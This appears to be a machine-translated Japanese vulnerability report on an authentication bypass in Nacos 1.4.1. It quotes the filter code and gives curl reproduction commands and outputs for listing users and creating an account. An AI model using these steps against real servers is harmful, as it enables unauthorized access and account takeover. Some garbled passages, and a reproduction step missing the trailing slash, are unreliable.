Nacosはセキュリティ・ホールの修復後も問題が残っています.


すみません、nacosの最新バージョン1.4.1はUser-Agentに対してセキュリティ・ホールを迂回したserverIdentity key-value修復メカニズムについて、依然として迂回問題があり、nacosでserverIdentityのカスタムkey-value認証を開いた後、特殊なurl構造を通じて、依然として制限を回避して任意のhttpインターフェースにアクセスすることができます.
この機能を見ることによって、APplication.propertiesに構成nacos.core.auth.enable.userAgentAuthWhite:falseを追加する必要があり、User-Agent: Nacos-Serverが認証権の安全問題を回避することができる.
しかし、このメカニズムを開いた後、コードの中から、何らかの状況で迂回して無効にしてもいいことを発見しました.どのインターフェースを使っても、このバグを通して、鑑権を迂回できます.
追加ユーザインターフェースを呼び出して、新しいユーザを追加し(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test)、新規に追加したユーザを使ってconsoneにログインし、データにアクセスし、修正し、追加する.
一、脆弱性の詳細
問題は主にcom.alibaba.nacos.core.auth.AuthFilter#doFilterにある.
public class AuthFilter implements Filter {
    
    @Autowired
    private AuthConfigs authConfigs;
    
    @Autowired
    private AuthManager authManager;
    
    @Autowired
    private ControllerMethodsCache methodsCache;
    
    private Map, ResourceParser> parserInstance = new ConcurrentHashMap<>();
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        
        if (!authConfigs.isAuthEnabled()) {
            chain.doFilter(request, response);
            return;
        }
        
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        
        if (authConfigs.isEnableUserAgentAuthWhite()) {
            String userAgent = WebUtils.getUserAgent(req);
            if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
                chain.doFilter(request, response);
                return;
            }
        } else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
                .isNotBlank(authConfigs.getServerIdentityValue())) {
            String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
            if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
                chain.doFilter(request, response);
                return;
            }
            Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
                    req.getRemoteHost());
        } else {
            resp.sendError(HttpServletResponse.SC_FORBIDDEN,
                    "Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
                            + " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
            return;
        }
        
        try {
            
            Method method = methodsCache.getMethod(req);
            
            if (method == null) {
                chain.doFilter(request, response);
                return;
            }
            
            ...    
            
        }
        ...
    }
    ...
}
上の3つのif else分岐が見られます.
  • の最初のものはauthConfigs.isEnableUserAgentAuthWhite()で、デフォルト値はtrueであり、値がtrueである場合、要求ヘッドUser−AgentがUser-Agent: Nacos-Serverに一致するかどうかを判断し、一致すれば、後続のすべての論理をスキップしてchain.doFilter(request, response);
  • を実行する.
  • の第二はStringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())であり、つまり、nacos 1.4.1バージョンはUser-Agent: Nacos-Serverの安全問題に対する簡単な修復
  • である.
  • の3番目は、前の2つの条件が一致しない場合に、直接にアクセス拒否を要求する応答
  • である.
    問題が二つ目の分岐に発生した場合、nacosの開発者がaplication.propertiesに配置nacos.core.auth.enable.userAgentAuthWhite:falseを追加し、key-value簡易認証機構をオープンした後、開発者構成のnacos.core.auth.server.identity.keyによってhttp headerの中から一つのvalueを取得し、開発者構成のnacos.core.auth.server.identity.valueとマッチングします.一致しない場合は分岐に進みません.
    if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
        chain.doFilter(request, response);
        return;
    }
    
    しかし、問題はここにあります.ここのロジックは不一致の時に直接に訪問を拒否するはずです.実際にはそうしていません.これは後回しにして条件を提供します.
    下を見てください.コードが来ました.
    Method method = methodsCache.getMethod(req);
                
    if (method == null) {
        chain.doFilter(request, response);
        return;
    }
    
    ...    
    
    ここでは判断method == nullがあり、この条件を満たせば、後続の認証コードに到達しないことが分かる.methodsCache.getMethod(req)コードを見ることによって実現され、リターンできるmethodはnullであるという方法を発見しました.
    comple.aliba.nacos.co.re.co.co.co.co.co.controller Methods Cache
    public Method getMethod(HttpServletRequest request) {
        String path = getPath(request);
        if (path == null) {
            return null;
        }
        String httpMethod = request.getMethod();
        String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
        List requestMappingInfos = urlLookup.get(urlKey);
        if (CollectionUtils.isEmpty(requestMappingInfos)) {
            return null;
        }
        List matchedInfo = findMatchedInfo(requestMappingInfos, request);
        if (CollectionUtils.isEmpty(matchedInfo)) {
            return null;
        }
        RequestMappingInfo bestMatch = matchedInfo.get(0);
        if (matchedInfo.size() > 1) {
            RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
            matchedInfo.sort(comparator);
            bestMatch = matchedInfo.get(0);
            RequestMappingInfo secondBestMatch = matchedInfo.get(1);
            if (comparator.compare(bestMatch, secondBestMatch) == 0) {
                throw new IllegalStateException(
                        "Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
                                + secondBestMatch + "}");
            }
        }
        return methods.get(bestMatch);
    }
    
    private String getPath(HttpServletRequest request) {
        String path = null;
        try {
            path = new URI(request.getRequestURI()).getPath();
        } catch (URISyntaxException e) {
            LOGGER.error("parse request to path error", e);
        }
        return path;
    }
    
    このコードの中には、methodの値の戻りがはっきりと見えます.
    String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
    List requestMappingInfos = urlLookup.get(urlKey);
    
    urlKeyというkeyは、url Look upというConcerenthashMapからマッピング値を取得できますか?
    urlKeyの構成には、pathという部分がありますが、この部分の生成には、ちょうど問題があります.
    new URI(request.getRequestURI()).getPath()
    
    通常のアクセス、例えばcurl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'、得られたpathは/nacos/v1/auth/usersであり、curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-isなどの特殊な構造のurlを通じて得られたpathは/nacos/v1/auth/users/である.
    このようにして、このpathのもう一つの終わりをコントロールできる斜め棒'/'を、url LookupというConccurrenthashMapからはmethodが得られませんでした.なぜならば、nacosの基本的なすべてのRequest Mappingは斜め棒'/'で終わっていません.非斜め棒'/最後のRequest Mappingだけが存在して、urlLocketMappingはこのContに保存されています.最外層のmethod == null条件は、この認証機構をバイパスするために満たすことができる.
    二、バグ影響範囲
    影響範囲:1.4.1
    三、手抜かりの再現
    1.ユーザーリストインターフェースにアクセスする
    curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'
    
    認証をバイパスして、ユーザーリストデータに戻ります.
    {
        "totalCount": 1,
        "pageNumber": 1,
        "pagesAvailable": 1,
        "pageItems": [
            {
                "username": "nacos",
                "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
            }
        ]
    }
    
     
      2.新しいユーザを追加する
    curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
    
    鑑権を避けて、新しいユーザーを追加することができます.
    {
        "code":200,
        "message":"create user ok!",
        "data":null
    }
    
    3.ユーザーリストを再度表示する
    curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
    
    戻ってきたユーザーリストのデータには、認証を迂回して作成した新しいユーザが追加されています.
    {
        "totalCount": 2,
        "pageNumber": 1,
        "pagesAvailable": 1,
        "pageItems": [
            {
                "username": "nacos",
                "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
            },
            {
                "username": "test",
                "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
            }
        ]
    }
    
    4.トップページhttp://127.0.0.1:8848/nacos/にアクセスして、新しいアカウントに登録して、どんなことができますか?